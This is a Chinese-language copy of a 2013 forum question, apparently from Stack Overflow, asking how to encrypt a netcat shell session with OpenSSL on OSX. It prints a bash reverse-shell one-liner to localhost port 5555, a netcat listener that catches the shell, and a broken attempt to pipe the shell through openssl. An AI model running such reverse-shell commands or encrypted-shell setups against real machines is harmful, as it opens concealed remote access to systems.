【发布时间】:2013-06-24 04:57:51
【问题描述】:
所以我有一个由 netcat 管理的基本通信流。例如,用户可以创建一个 bash shell 并将控制权转发到 localhost 的 5555 端口。您如何通过 OpenSSL 进行管道传输以实现对称加密的连接?我只能使用安装在 OSX 机器上的工具。
创建外壳
bash -i >& /dev/tcp/localhost/5555 0>&1
抓壳
nc -l -p 5555
使用 OpenSSL 加密数据
openssl aes-256-cbc -salt -a -e -in plaintext.txt -out encrypted.txt
使用 OpenSSL 解密数据
openssl aes-256-cbc -salt -a -d -in encrypted.txt -out plaintext.txt
我正在寻找的东西
bash -i & | openssl -e > /dev/tcp/localhost/5555 0>&1
nc -l -p 5555 | openssl -d
【问题讨论】:
-
用socat怎么样,不也算吗?隧道? openssl 本身有 "connect"、"s_server" 和 "s_client" 选项,并且可以将数据放在它的 STDIN 上。 en.wikipedia.org/wiki/Netcat#Variantsdest-unreach.org/socat/doc/socat-openssltunnel.html
-
嗯,所有这些选项都是完美的。不幸的是,我只能使用安装在 OSX 机器上的工具。
标签: macos bash encryption openssl netcat